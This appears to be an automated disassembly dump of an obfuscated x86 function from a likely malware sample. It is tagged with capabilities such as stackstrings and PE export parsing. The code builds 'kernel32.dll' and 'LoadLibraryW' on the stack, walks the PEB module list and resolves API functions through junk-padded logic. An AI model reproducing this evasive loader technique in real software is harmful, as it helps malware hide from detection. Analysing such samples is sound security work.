Function at 0x49d522
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
push ecx
add esp, 4
and esi, 0xb227
pop esi
push ecx
push edx
add esp, 4
and ecx, 0xf67b
xor ecx, 0x11422
or ecx, 0x14f96
or ecx, 0xd00a
pop ecx
push eax
and eax, 0x1665e
pop eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x230], edx
push eax
xor eax, 0x974
add eax, 0xea88
call fcn.0049d1a8
add byte [ebx + eax*2], bh
xor eax, dword [esi + 0x32]
aas
dec ebp
aas
add esp, 4
call 0x49d1bb
add byte [edi + ecx*2 + 0x4b], al
inc eax
dec ebp
inc ebp
dec ecx
dec esp
dec eax
dec ebx
add esp, 4
pop eax
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x14], cx
push edi
jmp 0x49d1d1
xor edi, 0x30e3
pop edi
push eax
push ebx
add esp, 4
or eax, 0x12a1d
sub eax, 0x14779
pop eax
push esi
and esi, 0x5610
jmp 0x49d1f6
and esi, 0x49c7
pop esi
mov edx, dword [ebp - 0x230]
mov ax, word [edx]
mov word [ebp - 0x1ca], ax
mov ecx, dword [ebp - 0x230]
add ecx, 2
mov dword [ebp - 0x230], ecx
mov dx, word [ebp - 0x1ca]
mov word [ebp - 0x60], dx
push eax
and eax, 0x9a67
add eax, 0x4121
pop eax
push ecx
call 0x49d244
add byte [ebx + 0x35], al
xor eax, 0x42444233
dec eax
add esp, 4
call 0x49d255
add byte [esi], bh
inc edx
dec esp
xor cl, byte [esi + 0x44]
dec edi
cmp al, 0x83
les eax, [ecx + ebx*2]
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov ax, word [ebp - 0x1cc]
mov word [ebp - 0x14], ax
push esi
push eax
add esp, 4
sub esi, 0x22db
add esi, 0xeb6
add esi, 0x1105d
pop esi
push edx
and edx, 0x2a70
sub edx, 0x297c
add edx, 0x3f24
add edx, 0x9f2
pop edx
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x49d2d2
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x2f4], edx
jmp 0x49d355
movzx ecx, word [ebp - 0x60]
movzx edx, word [ebp - 0x14]
cmp ecx, edx
je 0x49d1cb
movzx eax, word [ebp - 0x60]
xor eax, 0x20
movzx ecx, word [ebp - 0x14]
cmp eax, ecx
je 0x49d1cb
push edx
or edx, 0x755c
add edx, 0xc735
or edx, 0x16e25
pop edx
push edi
push esi
add esp, 4
jmp 0x49d315
call 0x49d323
add byte [edx], bh
inc ebp
xor al, 0x49
dec esi
xor eax, 0xc4833e44
add al, 0x5f
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
cmp edx, eax
jge 0x49d33f
mov dword [ebp - 0x2f0], 0xffffffff
jmp 0x49d349
mov dword [ebp - 0x2f0], 1
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0
jne 0x49d39e
push ebx
push edx
add esp, 4
and ebx, 0x17b0
or ebx, 0x10cd3
add ebx, 0x99d7
pop ebx
push esi
and esi, 0xf857
call 0x49d38c
add byte [esi + eax*2], bh
inc eax
aas
xor cl, byte [ecx + 0x43]
dec ebx
cmp eax, 0x5e04c483
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x70], edx
jmp 0x49d435
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov dword [ebp - 0xa0], ecx
push esi
push eax
add esp, 4
call 0x49d3bd
add byte [0x3a343646], bh
inc edi
add esp, 4
jmp 0x49d3c5
call 0x49d3d3
add byte [edi + 0x39], cl
dec edi
inc ebx
dec esp
inc ebp
inc esp
add esp, 4
jmp 0x49d3dd
pop esi
mov edx, dword [ebp - 0xa0]
cmp edx, dword [ebp - 0x238]
je 0x49d3fc
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0x30], 0
jne 0x49d140
push eax
sub eax, 0x3cf7
and eax, 0x10a26
jmp 0x49d411
pop eax
push edx
push edi
add esp, 4
add edx, 0x111cb
jmp 0x49d422
or edx, 0x146a5
jmp 0x49d42d
pop edx
mov dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0
jne 0x49e0eb
push ecx
and ecx, 0x1343a
call 0x49d455
add byte [esi], dh
dec edx
dec esp
dec ebp
dec ebx
dec esp
xor al, byte ss:[ebx + 0x505904c4]
push edi
add esp, 4
xor eax, 0xde3c
add eax, 0x6af9
or eax, 0xd1f4
pop eax
mov ecx, 0x6b
mov word [ebp - 0x3d8], cx
mov edx, 0x65
mov word [ebp - 0x3d6], dx
mov eax, 0x72
mov word [ebp - 0x3d4], ax
mov ecx, 0x6e
mov word [ebp - 0x3d2], cx
mov edx, 0x65
mov word [ebp - 0x3d0], dx
mov eax, 0x6c
mov word [ebp - 0x3ce], ax
mov ecx, 0x33
mov word [ebp - 0x3cc], cx
mov edx, 0x32
mov word [ebp - 0x3ca], dx
mov eax, 0x2e
mov word [ebp - 0x3c8], ax
mov ecx, 0x64
mov word [ebp - 0x3c6], cx
mov edx, 0x6c
mov word [ebp - 0x3c4], dx
mov eax, 0x6c
mov word [ebp - 0x3c2], ax
xor ecx, ecx
mov word [ebp - 0x3c0], cx
push eax
push edi
add esp, 4
add eax, 0x12851
call 0x49d522
add byte [ebp + 0x3e], al
dec edi
xor eax, dword [ecx + 0x39]
add esp, 4
call 0x49d532
add byte [0x42453249], dh
dec ebx
cmp dword [ebx - 0x3f7efb3c], eax
and eax, dword [esi]
add byte [eax], al
pop eax
mov byte [ebp - 0x164], 0x4c
mov byte [ebp - 0x163], 0x6f
mov byte [ebp - 0x162], 0x61
mov byte [ebp - 0x161], 0x64
mov byte [ebp - 0x160], 0x4c
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x62
mov byte [ebp - 0x15d], 0x72
mov byte [ebp - 0x15c], 0x61
mov byte [ebp - 0x15b], 0x72
mov byte [ebp - 0x15a], 0x79
mov byte [ebp - 0x159], 0x57
mov byte [ebp - 0x158], 0
push edx
sub edx, 0x4afe
jmp 0x49d5a5
jmp 0x49d5ad
call 0x49d5bd
add byte [edi + 0x48], al
cmp eax, 0x4f463c39
cmp dword [ecx + 0x34], ecx
add esp, 4
pop edx
push eax
sub eax, 0xf8b6
pop eax
push esi
call 0x49d5da
add byte [ebx], bh
xor ecx, dword [edx + 0x33]
dec edx
dec edi
xor dh, byte [ebx]
push eax
inc ebp
add esp, 4
call 0x49d5ea
add byte [edi + 0x3b], cl
inc esi
dec eax
inc edi
dec esi
aas
add esp, 4
add esi, 0x5b7b
jmp 0x49d5fa
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x3fc], edx
push eax
add eax, 0x3dae
or eax, 0x3fed
sub eax, 0x14115
or eax, 0x16aa3
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0x5211
or ecx, 0x75a3
xor ecx, 0xaecd
pop ecx
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x400], ecx
push eax
xor eax, 0x1516e
jmp 0x49d655
add eax, 0xc3ac
pop eax
push esi
jmp 0x49d662
call 0x49d66f
add byte [ebp + esi + 0x3f], al
inc esp
dec edx
dec ecx
add esp, 4
pop esi
push edx
sub edx, 0x10649
pop edx
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x2f8], edx
cmp dword [ebp - 0x2f8], 0
jne 0x49d6d1
push eax
or eax, 0xdb4c
and eax, 0x2588
call 0x49d6ac
add byte [ebx], dh
xor ecx, dword [esi + 0x33]
push eax
aas
dec edi
add esp, 4
sub eax, 0x42d6
pop eax
push edx
push edx
add esp, 4
add edx, 0x164ed
pop edx
mov dword [ebp - 0xec], 0
jmp 0x49da66
push ecx
add ecx, 0x6c62
xor ecx, 0xca37
or ecx, 0x1131a
xor ecx, 0xef41
pop ecx
push ebx
push ecx
add esp, 4
and ebx, 0x1256e
and ebx, 0xa03
add ebx, 0xce53
pop ebx
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x244], edx
cmp dword [ebp - 0x244], 0
jne 0x49d75f
push ecx
call 0x49d72f
add byte [0x3c404d3f], dh
cmp eax, dword [edi + 0x35]
dec eax
inc esp
add esp, 4
pop ecx
push eax
call 0x49d744
add byte [eax + 0x48], al
dec eax
dec esi
inc eax
cmp dh, byte [ebx]
dec esi
cmp al, 0x83
les eax, [ebx + ebp*8]
push es
inc esi
dec ebx
aas
cmp al, 0x3e
cmp byte [eax - 0x39], bl
test dword [edi + edi*8], edx
invalid
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0xa4], eax
push eax
push ebx
add esp, 4
xor eax, 0x15a01
and eax, 0x10e5a
jmp 0x49d785
or eax, 0x128a6
pop eax
push edi
jmp 0x49d796
or edi, 0xd2a8
pop edi
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 0x240], ecx
mov edx, dword [ebp - 0xa4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x23c], eax
push edi
push edi
add esp, 4
or edi, 0x16557
pop edi
push eax
push esi
add esp, 4
and eax, 0xdc57
pop eax
push edx
or edx, 0x10208
pop edx
push esi
push ebx
add esp, 4
and esi, 0x1633d
and esi, 0x1c40
pop esi
xor ecx, ecx
mov word [ebp - 0x64], cx
xor edx, edx
mov word [ebp - 0x18], dx
push ebx
add ebx, 0x9145
sub ebx, 0x61cc
call 0x49d812
add byte [edx], dh
inc edi
cmp eax, 0x4839333b
cmp byte [esi - 0x7d], al
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [edx + ecx*2], bh
dec esp
aaa
cmp eax, 0x4a44324b
add esp, 4
pop ebx
mov eax, dword [ebp - 0x23c]
mov cx, word [eax]
mov word [ebp - 0x1ce], cx
mov edx, dword [ebp - 0x23c]
add edx, 2
mov dword [ebp - 0x23c], edx
mov ax, word [ebp - 0x1ce]
mov word [ebp - 0x64], ax
push edi
push ebx
add esp, 4
xor edi, 0x10f65
xor edi, 0x3fff
sub edi, 0x12a12
pop edi
push esi
sub esi, 0xe071
and esi, 0x17d32
or esi, 0xd4da
or esi, 0x879a
pop esi
mov ecx, dword [ebp - 0x240]
mov dx, word [ecx]
mov word [ebp - 0x1d0], dx
mov eax, dword [ebp - 0x240]
add eax, 2
mov dword [ebp - 0x240], eax
mov cx, word [ebp - 0x1d0]
mov word [ebp - 0x18], cx
push esi
sub esi, 0xcac6
or esi, 0xfb8e
or esi, 0x11ca6
pop esi
push ebx
or ebx, 0x4841
sub ebx, 0x4c88
call 0x49d8dc
add byte [esp + edi], bh
inc eax
cmp byte [edx + 0x3a], al
dec eax
add esp, 4
pop ebx
movzx edx, word [ebp - 0x18]
test edx, edx
jne 0x49d8fd
movzx eax, word [ebp - 0x64]
movzx ecx, word [ebp - 0x18]
sub eax, ecx
mov dword [ebp - 0x300], eax
jmp 0x49d980
movzx edx, word [ebp - 0x64]
movzx eax, word [ebp - 0x18]
cmp edx, eax
je 0x49d7f6
movzx ecx, word [ebp - 0x64]
xor ecx, 0x20
movzx edx, word [ebp - 0x18]
cmp ecx, edx
je 0x49d7f6
push edi
push eax
add esp, 4
call 0x49d932
add byte [edi], bh
inc ecx
aas
inc edi
xor al, 0x44
inc ebx
add esp, 4
and edi, 0x12cb9
pop edi
push edi
xor edi, 0x9add
xor edi, 0xdfcc
pop edi
push esi
add esi, 0x54fd
pop esi
movzx eax, word [ebp - 0x64]
movzx ecx, word [ebp - 0x18]
cmp eax, ecx
jge 0x49d96a
mov dword [ebp - 0x2fc], 0xffffffff
jmp 0x49d974
mov dword [ebp - 0x2fc], 1
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x300], edx
cmp dword [ebp - 0x300], 0
jne 0x49d9cc
push edi
xor edi, 0xc52f
xor edi, 0x14cd3
or edi, 0x7538
sub edi, 0x1212b
pop edi
push edi
push esi
add esp, 4
or edi, 0xae34
add edi, 0x1067f
add edi, 0x343c
pop edi
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xec], eax
jmp 0x49da66
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
mov dword [ebp - 0xa4], edx
push esi
add esi, 0xb5c3
sub esi, 0xce40
add esi, 0x133a7
jmp 0x49d9f2
pop esi
push esi
sub esi, 0x60bc
jmp 0x49da03
pop esi
push esi
and esi, 0x7cfb
pop esi
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x244]
je 0x49da2a
mov ecx, dword [ebp - 0xa4]
cmp dword [ecx + 0x30], 0
jne 0x49d76b
push edx
and edx, 0x33a8
xor edx, 0x1522c
xor edx, 0x11d42
jmp 0x49da44
pop edx
push edx
or edx, 0x529a
or edx, 0x13da3
jmp 0x49da5b
pop edx
mov dword [ebp - 0xec], 0
cmp dword [ebp - 0xec], 0
jne 0x49dab0
push edi
push ebx
add esp, 4
or edi, 0xb8e8
pop edi
push edi
push ecx
add esp, 4
xor edi, 0x10295
add edi, 0xde15
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x1616f
pop ecx
push ecx
and ecx, 0x12fd6
pop ecx
mov dword [ebp - 0x1bc], 0
jmp 0x49eb92
mov edx, dword [ebp - 0xec]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xfc], 0
push esi
push edi
add esp, 4
call 0x49dadb
add byte [ecx], bh
inc ebp
cmp ecx, dword [ebx + 0x44]
inc ebp
dec ebx
add esp, 4
and esi, 0x5bcf
xor esi, 0x6394
call 0x49daf7
add byte [edx + 0x4c], al
xor eax, 0x4a3b4940
add esp, 4
pop esi
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x304], ecx
cmp dword [ebp - 0x304], 0
jne 0x49db53
push ecx
push edx
add esp, 4
and ecx, 0x16722
pop ecx
push eax
add eax, 0xed86
xor eax, 0x13e68
pop eax
push eax
push ebx
add esp, 4
and eax, 0x5336
add eax, 0xd9a7
add eax, 0x12242
pop eax
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], edx
jmp 0x49e042
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x308], ecx
jne 0x49db7b
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], edx
jmp 0x49e042
push ecx
push edx
add esp, 4
xor ecx, 0x3a9f
xor ecx, 0xc602
add ecx, 0x15c26
pop ecx
push edx
sub edx, 0x646
pop edx
push ebx
push esi
add esp, 4
add ebx, 0x11c2d
xor ebx, 0xdfd6
pop ebx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x308]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
jne 0x49dc11
push ecx
push ebx
add esp, 4
jmp 0x49dbd9
pop ecx
push esi
jmp 0x49dbe2
pop esi
push eax
push esi
add esp, 4
and eax, 0xd72c
call 0x49dbfc
add byte [eax + edx*2 + 0x4b], cl
dec esp
dec ebx
inc eax
cmp bh, byte [edi]
add esp, 4
pop eax
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], ecx
jmp 0x49e042
push edi
and edi, 0x24c9
xor edi, 0x17a58
xor edi, 0xb6d2
and edi, 0x5c27
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0xb923
jmp 0x49dc3c
sub ebx, 0x23a2
pop ebx
mov edx, dword [ebp - 0x84]
add edx, dword [ebp - 0x30c]
mov dword [ebp - 0xf0], edx
jne 0x49dc9a
push edx
push ecx
add esp, 4
jmp 0x49dc62
pop edx
push eax
push edi
add esp, 4
and eax, 0x8fa0
pop eax
push ebx
sub ebx, 0x15964
pop ebx
push ebx
push edi
add esp, 4
or ebx, 0x16658
or ebx, 0x79e4
pop ebx
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x94], eax
jmp 0x49e042
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0x84]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x404], edx
push edi
push eax
add esp, 4
sub edi, 0xda6f
and edi, 0x10c05
pop edi
push esi
add esi, 0x620a
call 0x49dcd7
add byte [esi + 0x42], cl
inc ebx
aas
inc esp
inc ebp
cmp byte [edi], bh
aas
add esp, 4
jmp 0x49dce0
pop esi
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x408], ecx
push eax
and eax, 0x15074
pop eax
push eax
push edi
add esp, 4
or eax, 0x3c05
pop eax
push ebx
push ebx
add esp, 4
xor ebx, 0x12320
or ebx, 0x1373a
xor ebx, 0x101ad
sub ebx, 0x10e65
pop ebx
mov edx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0xf4], 0
jmp 0x49dd58
mov ecx, dword [ebp - 0xf4]
add ecx, 1
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf4]
cmp eax, dword [edx + 0x18]
jae 0x49e036
push edi
call 0x49dd7a
add byte [edx], bh
dec edi
dec ebp
inc ecx
dec edi
add esp, 4
jmp 0x49dd84
pop edi
push esi
or esi, 0xd25c
sub esi, 0x139a7
or esi, 0x12dd5
sub esi, 0x15e5f
pop esi
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0xf8], eax
push esi
push esi
add esp, 4
sub esi, 0x2946
and esi, 0x690f
xor esi, 0x116fb
pop esi
push ecx
push esi
add esp, 4
or ecx, 0x1251e
sub ecx, 0x10128
jmp 0x49ddeb
pop ecx
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x408]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x40c]
mov edx, dword [ebp - 0x84]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x410], edx
push ebx
or ebx, 0xe0ce
pop ebx
push edx
push eax
add esp, 4
or edx, 0xaa72
or edx, 0xf25
and edx, 0xddea
and edx, 0x1318c
pop edx
push ebx
push esi
add esp, 4
or ebx, 0xd013
pop ebx
mov dword [ebp - 0x38], 0
jmp 0x49de55
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xf8]
add ecx, dword [ebp - 0x38]
movsx edx, byte [ecx]
test edx, edx
je 0x49def1
mov eax, dword [ebp - 0x38]
movsx ecx, byte [ebp + eax - 0x164]
test ecx, ecx
je 0x49def1
push edx
push ebx
add esp, 4
jmp 0x49de86
pop edx
push edi
call 0x49de98
add byte [eax + 0x39], dl
cmp al, 0x33
inc esp
inc esp
inc eax
dec edi
dec edi
add esp, 4
pop edi
push ecx
and ecx, 0x10d89
and ecx, 0x16e79
pop ecx
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0x38]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x38]
movsx edx, byte [ebp + ecx - 0x164]
cmp eax, edx
je 0x49dee3
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x38]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x38]
movsx eax, byte [ebp + edx - 0x164]
cmp ecx, eax
jne 0x49deea
jmp 0x49de4c
jmp 0x49def1
push ebx
call 0x49df00
add byte [ebx + 0x4c], cl
cmp al, 0x47
inc ecx
cmp eax, 0xc483504a
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [ecx + 0x4a], cl
xor eax, dword [ebp + 0x46]
push eax
cmp al, 0x3b
aas
add esp, 4
xor ebx, 0x17d57
jmp 0x49df22
pop ebx
mov ecx, dword [ebp - 0xf8]
add ecx, dword [ebp - 0x38]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x38]
movsx ecx, byte [ebp + eax - 0x164]
cmp edx, ecx
jne 0x49df4d
mov dword [ebp - 0x248], 0
jmp 0x49dfe8
push esi
push edi
add esp, 4
call 0x49df60
add byte [esi + 0x44], al
xor esi, dword [esi]
dec ebp
cmp eax, 0xc483443c
add al, 0x81
out 0x67, al
and al, byte [ecx]
add byte [ecx + 0xf464e6], al
add bl, ch
add eax, 0x32364c41
cmp byte [esi + 0x53], bl
and ebx, 0x9d37
pop ebx
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0x38]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x38]
movsx edx, byte [ebp + ecx - 0x164]
or edx, 0x20
cmp eax, edx
jge 0x49dfac
mov dword [ebp - 0x248], 0xffffffff
jmp 0x49dfe8
push ebx
xor ebx, 0x8f01
pop ebx
push esi
push edi
add esp, 4
add esi, 0x7622
xor esi, 0xaaf2
call 0x49dfd4
add byte [eax + 0x35], al
xor esi, dword [0x42334b35]
push eax
add esp, 4
add esi, 0x2d84
pop esi
mov dword [ebp - 0x248], 1
cmp dword [ebp - 0x248], 0
jne 0x49e031
push ebx
or ebx, 0xeb38
xor ebx, 0x8c76
add ebx, 0x9ecf
sub ebx, 0x703f
pop ebx
push eax
push ebx
add esp, 4
add eax, 0x9842
sub eax, 0x16ea9
xor eax, 0x6a43
pop eax
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x94], eax
jmp 0x49e042
jmp 0x49dd49
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], ecx
cmp dword [ebp - 0x94], 0
je 0x49e0eb
push esi
sub esi, 0xf7fd
add esi, 0xe1a6
xor esi, 0x1449
pop esi
push eax
add eax, 0x2c40
call 0x49e077
add byte [ebx], bh
dec ebx
push eax
inc ebx
xor al, 0x38
dec ecx
add esp, 4
or eax, 0x15d8d
pop eax
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x418], eax
lea ecx, [ebp - 0x2b0]
push ecx
call dword [ebp - 0x418]
test eax, eax
jne 0x49e0eb
push edx
or edx, 0x3ccb
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0xe8b
sub ecx, 0x651
and ecx, 0x93e6
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0xb7fc
or ebx, 0x1785f
pop ebx
mov dword [ebp - 0x1bc], 0
jmp 0x49eb92
push edi
add edi, 0x6e3c
xor edi, 0x163b3
or edi, 0x6098
pop edi
push edx
push esi
add esp, 4
sub edx, 0x525
add edx, 0xea
or edx, 0x12e43
or edx, 0x1632
pop edx
push eax
push edx
add esp, 4
add eax, 0x87b9
and eax, 0x11450
xor eax, 0x590
pop eax
push ecx
jmp 0x49e13c
sub ecx, 0xce80
add ecx, 0x15209
and ecx, 0x1824f
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x41c], edx
push edx
push eax
add esp, 4
and edx, 0x174e7
sub edx, 0x14c22
add edx, 0x5bd0
pop edx
push eax
push ebx
add esp, 4
or eax, 0x237f
pop eax
push ecx
xor ecx, 0xadff
xor ecx, 0x10274
pop ecx
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x420], ecx
push ecx
push ebx
add esp, 4
or ecx, 0xf568
and ecx, 0x167c7
xor ecx, 0xeec8
pop ecx
push eax
and eax, 0x87c7
add eax, 0x47af
or eax, 0x14cbd
xor eax, 0x13fef
pop eax
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x310], edx
cmp dword [ebp - 0x310], 0
jne 0x49e222
push ebx
or ebx, 0x16e5c
sub ebx, 0x17a78
or ebx, 0xdc1d
pop ebx
push ecx
push eax
add esp, 4
and ecx, 0x6b8b
or ecx, 0x11ba6
add ecx, 0x251c
add ecx, 0x58c9
pop ecx
mov dword [ebp - 0x70], 0
jmp 0x49e5ae
push ebx
push ebx
add esp, 4
or ebx, 0x1281e
pop ebx
push eax
push ecx
add esp, 4
or eax, 0xd047
or eax, 0xcd8b
pop eax
push edi
push edx
add esp, 4
jmp 0x49e24d
and edi, 0x576f
pop edi
mov eax, dword [ebp - 0x310]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x254], edx
cmp dword [ebp - 0x254], 0
jne 0x49e2ad
push ebx
add ebx, 0x11659
jmp 0x49e27d
and ebx, 0x16d8d
and ebx, 0xa4a5
pop ebx
push ebx
push ecx
add esp, 4
and ebx, 0xad18
sub ebx, 0xebdb
jmp 0x49e2a0
pop ebx
mov dword [ebp - 0x70], 0
jmp 0x49e5ae
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0xa8], eax
push edx
add edx, 5
sub edx, 0x545a
add edx, 0xba8d
or edx, 0x15958
pop edx
push ebx
push ecx
add esp, 4
and ebx, 0x5ea0
or ebx, 0xaebe
and ebx, 0xf325
pop ebx
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp - 0xa8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x24c], eax
push edx
call 0x49e316
add byte [esi + 0x46], al
dec eax
cmp dword [ecx], edi
aas
dec edi
cmp byte [ebx - 0x7d], al
les eax, [ecx + eax*4]
loop 0x49e33e
add byte [eax], al
sub edx, 0x8ffb
or edx, 0x96a8
pop edx
push edi
push edx
add esp, 4
or edi, 0xe44a
pop edi
xor ecx, ecx
mov word [ebp - 0x68], cx
xor edx, edx
mov word [ebp - 0x1c], dx
push ebx
push edi
add esp, 4
sub ebx, 0x3213
pop ebx
push ebx
push esi
add esp, 4
and ebx, 0x11d7c
pop ebx
push ebx
sub ebx, 0x13488
or ebx, 0x1001c
add ebx, 0x1215c
or ebx, 0x3418
pop ebx
mov eax, dword [ebp - 0x24c]
mov cx, word [eax]
mov word [ebp - 0x1d2], cx
mov edx, dword [ebp - 0x24c]
add edx, 2
mov dword [ebp - 0x24c], edx
mov ax, word [ebp - 0x1d2]
mov word [ebp - 0x68], ax
push edx
jmp 0x49e3a7
pop edx
push edi
push edi
add esp, 4
xor edi, 0x4de
sub edi, 0x16e4f
xor edi, 0x12163
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0x2e51
sub ecx, 0x3aec
pop ecx
mov ecx, dword [ebp - 0x250]
mov dx, word [ecx]
mov word [ebp - 0x1d4], dx
mov eax, dword [ebp - 0x250]
add eax, 2
mov dword [ebp - 0x250], eax
mov cx, word [ebp - 0x1d4]
mov word [ebp - 0x1c], cx
push ebx
or ebx, 0x98b7
pop ebx
push eax
or eax, 0xf96b
pop eax
push eax
push edx
add esp, 4
sub eax, 0x195d
jmp 0x49e41f
sub eax, 0xb41d
pop eax
push esi
and esi, 0x7c47
pop esi
movzx edx, word [ebp - 0x1c]
test edx, edx
jne 0x49e44b
movzx eax, word [ebp - 0x68]
movzx ecx, word [ebp - 0x1c]
sub eax, ecx
mov dword [ebp - 0x318], eax
jmp 0x49e4ce
movzx edx, word [ebp - 0x68]
movzx eax, word [ebp - 0x1c]
cmp edx, eax
je 0x49e344
movzx ecx, word [ebp - 0x68]
xor ecx, 0x20
movzx edx, word [ebp - 0x1c]
cmp ecx, edx
je 0x49e344
push esi
jmp 0x49e474
or esi, 0xe0de
pop esi
push ecx
and ecx, 0x765f
pop ecx
push edi
or edi, 0x165c2
and edi, 0x3de5
jmp 0x49e497
pop edi
push eax
sub eax, 0x2b79
pop eax
movzx eax, word [ebp - 0x68]
movzx ecx, word [ebp - 0x1c]
cmp eax, ecx
jge 0x49e4b8
mov dword [ebp - 0x314], 0xffffffff
jmp 0x49e4c2
mov dword [ebp - 0x314], 1
mov edx, dword [ebp - 0x314]
mov dword [ebp - 0x318], edx
cmp dword [ebp - 0x318], 0
jne 0x49e517
push ecx
push edi
add esp, 4
and ecx, 0x6f4f
pop ecx
push esi
push edi
add esp, 4
add esi, 0x9025
pop esi
push esi
and esi, 0xd269
or esi, 0xe1c
add esi, 0x9ea9
xor esi, 0x16688
pop esi
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x70], eax
jmp 0x49e5ae
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ecx]
mov dword [ebp - 0xa8], edx
push edi
call 0x49e535
add byte [eax + 0x41], dl
xor al, byte [ecx + 0x49]
inc edx
cmp dl, byte [eax + 0x3d]
add esp, 4
or edi, 0x150e2
jmp 0x49e544
or edi, 0xe290
pop edi
push eax
push ebx
add esp, 4
xor eax, 0x10687
pop eax
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x254]
je 0x49e575
mov ecx, dword [ebp - 0xa8]
cmp dword [ecx + 0x30], 0
jne 0x49e2b9
push eax
add eax, 0xb9f7
pop eax
push ebx
jmp 0x49e587
sub ebx, 0x9890
call 0x49e59d
add byte [ebx], bh
aaa
dec esi
inc edx
cmp eax, 0x384f3634
add esp, 4
sub ebx, 0x14ec5
pop ebx
mov dword [ebp - 0x70], 0
push edi
and edi, 0x109a6
sub edi, 0x141e9
and edi, 0x15f09
xor edi, 0xb0ba
pop edi
push eax
push ecx
add esp, 4
jmp 0x49e5d3
xor eax, 0xda0e
or eax, 0x14739
pop eax
mov edx, dword [ebp - 0x70]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x80], eax
push esi
push ebx
add esp, 4
add esi, 0x6faf
pop esi
push edx
push edi
add esp, 4
sub edx, 0x10761
sub edx, 0x73db
